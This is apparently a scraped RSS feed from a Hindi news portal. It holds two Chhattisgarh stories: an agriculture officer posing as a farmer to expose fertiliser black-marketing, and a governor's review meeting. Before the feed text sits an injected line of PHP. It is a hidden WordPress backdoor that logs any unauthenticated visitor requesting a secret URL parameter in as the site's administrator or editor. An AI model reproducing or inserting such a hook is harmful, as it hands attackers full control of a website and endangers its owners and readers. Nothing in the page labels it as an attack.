// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); agriculture officer – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 07 Jun 2026 05:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 किसान बनकर पहुंचे कृषि अधिकारी, खाद की कालाबाजारी का किया खुलासा https://pratyushaashakinayikiran.com/?p=225362 Sun, 07 Jun 2026 05:20:00 +0000 https://pratyushaashakinayikiran.com/?p=225362 रायपुर

 किसानों को किफायती और उचित मूल्य पर गुणवत्तापूर्ण खाद उपलब्ध कराने के लिए केंद्र और राज्य सरकार पूर्णतः प्रतिबद्ध हैं।  इसी क्रम में किसानों को उचित मूल्य पर खाद उपलब्ध कराने के लिए रायगढ़ जिला प्रशासन लगातार सख्त कार्रवाई कर रहा है। कलेक्टर के निर्देश पर कृषि विभाग द्वारा जिलेभर में खाद वितरण व्यवस्था की निगरानी की जा रही है। इसी क्रम में लैलूंगा विकासखंड में एक बड़ी कार्रवाई करते हुए कृषि विभाग ने खाद की कालाबाजारी का भंडाफोड़ किया।
          
उप संचालक कृषि स्वयं किसान बनकर एक खाद दुकान पर पहुंचे और खाद खरीदने का प्रयास किया। जांच के दौरान पता चला कि सिंगल सुपर फॉस्फेट (एसएसपी) खाद, जिसकी वास्तविक कीमत लगभग 750 रुपये प्रति बोरी है, उसे किसानों को 1800 रुपये प्रति बोरी में बेचा जा रहा था। इस तरह किसानों से प्रति बोरी एक हजार रुपये से अधिक की अतिरिक्त राशि वसूली जा रही थी।

गोदाम सील, खाद बिक्री पर 10 दिन का प्रतिबंध
         
शिकायत सही पाए जाने पर प्रशासन ने तत्काल कार्रवाई करते हुए लैलूंगा स्थित मां दुर्गा ट्रेडर्स के गोदाम को सील कर दिया। मौके से 74 बोरी खाद जब्त की गई। साथ ही दुकान में खाद विक्रय पर 10 दिनों का प्रतिबंध लगाया गया है। संचालक को कारण बताओ नोटिस जारी कर जवाब भी मांगा गया है।

किसानों के हितों से खिलवाड़ बर्दाश्त नहीं
          
कलेक्टर ने स्पष्ट निर्देश दिए हैं कि खरीफ सीजन में किसानों को निर्धारित दर पर पर्याप्त मात्रा में खाद उपलब्ध कराना प्रशासन की प्राथमिकता है। उन्होंने कहा कि कालाबाजारी, जमाखोरी और अधिक मूल्य वसूली करने वालों के खिलाफ कड़ी कार्रवाई जारी रहेगी। राज्य शासन के निर्देशानुसार जिलेभर में खाद वितरण व्यवस्था पर लगातार निगरानी रखी जा रही है, ताकि किसानों को किसी प्रकार की परेशानी का सामना न करना पड़े और उनकी मजबूरी का कोई अनुचित लाभ न उठा सके।

आगे भी जारी रहेगा जांच अभियान
          
कृषि विभाग के अधिकारियों ने बताया कि जिले के विभिन्न विकासखंडों में खाद, बीज और अन्य कृषि आदानों के भंडारण एवं विक्रय की नियमित जांच की जाएगी। निर्धारित मूल्य से अधिक कीमत वसूलने या कृत्रिम अभाव पैदा करने वाले विक्रेताओं के विरुद्ध तत्काल कानूनी कार्रवाई की जाएगी। इस कार्रवाई में उर्वरक निरीक्षक  पवन उरांव, वरिष्ठ कृषि विकास अधिकारी  फुलेश्वर पैकरा सहित कृषि विभाग के अधिकारी उपस्थित रहे।

किसानों से सहयोग की अपील
         
जिला प्रशासन ने किसानों से अपील की है कि यदि कहीं खाद की कालाबाजारी, जमाखोरी या अधिक मूल्य वसूली की जानकारी मिले तो इसकी सूचना तुरंत प्रशासन या कृषि विभाग को दें, ताकि दोषियों के खिलाफ समय पर सख्त कार्रवाई की जा सके। यह कार्रवाई किसानों के हितों की रक्षा और पारदर्शी खाद वितरण व्यवस्था सुनिश्चित करने की दिशा में जिला प्रशासन की प्रतिबद्धता को दर्शाती है।

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छत्तीसगढ़-महासमुंद में राज्यपाल ने ली बैठक, कृषि अधिकारी नहीं दे पाए सवालों के जवाब https://pratyushaashakinayikiran.com/?p=64561 Sat, 31 Aug 2024 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=64561 महासमुंद.

छत्तीसगढ़ के राज्यपाल रमेन डेका आज महासमुंद के एकदिवसीय दौरे पर रहे। महासमुंद पहुंचे गवर्नर डेका का शहर के न्यू सर्किट हाउस में स्थानीय विधायक योगेश्वर राजू सिन्हा, पूर्व राज्य मंत्री पूनम चंद्राकर, पूर्व विधायक डा विमल चोपड़ा सहित स्थानीय जनप्रतिनिधि, कलेक्टर विनय लंगेह, पुलिस अधीक्षक आशुतोष सिंह और जिला अधिकारियों ने स्वागत किया। साथ ही पुलिस के जवानों ने महामहिम को गार्ड ऑफ ऑनर भी दिया।

सर्किट हाउस से जनप्रतिनिधियों से मुलाकात करने के बाद महामहिम राज्यपाल रमेन डेका जिला पंचायत पहुंचे। जहां उन्होंने आकांक्षीय जिला होने के नाते जिला पंचायत के सभा कक्ष में अधिकारियों की बैठक ली। इस दौरान राज्यपाल ने जिले में संचालित विभागीय कार्यक्रम और योजनाओं की समीक्षा भी की। कलेक्टर विनय लंगेह ने गवर्नर को पावर पॉइंट प्रस्तुतीकरण के माध्यम से जिले के भगौलिक स्थिति और क्रियान्वित कार्यों की जानकारी दी। बैठक में गवर्नर डेका ने सभी विभाग के अधिकारियों से बारी-बारी विभागीय कार्यों की जानकारी ली। इस दौरान कृषि विभाग की जानकारी के दौरान अधिकारी गवर्नर को सही जानकारी नहीं दे पा रहे थे। जिस पर गवर्नर ने उन्हें फील्ड में जाने का बात पूछा। अधिकारी के द्वारा फील्ड में जाने की बात कहने पर, गवर्नर ने उनसे जिले के 10 किसानों के नाम पूछ लिया, जिस पर अधिकारी हड़बड़ा कर रह गया और 10 किसानों के नाम तक नहीं गिना पाए। जिस पर गवर्नर ने अधिकारी को फील्ड में जाकर काम करने की समझाईस दी।

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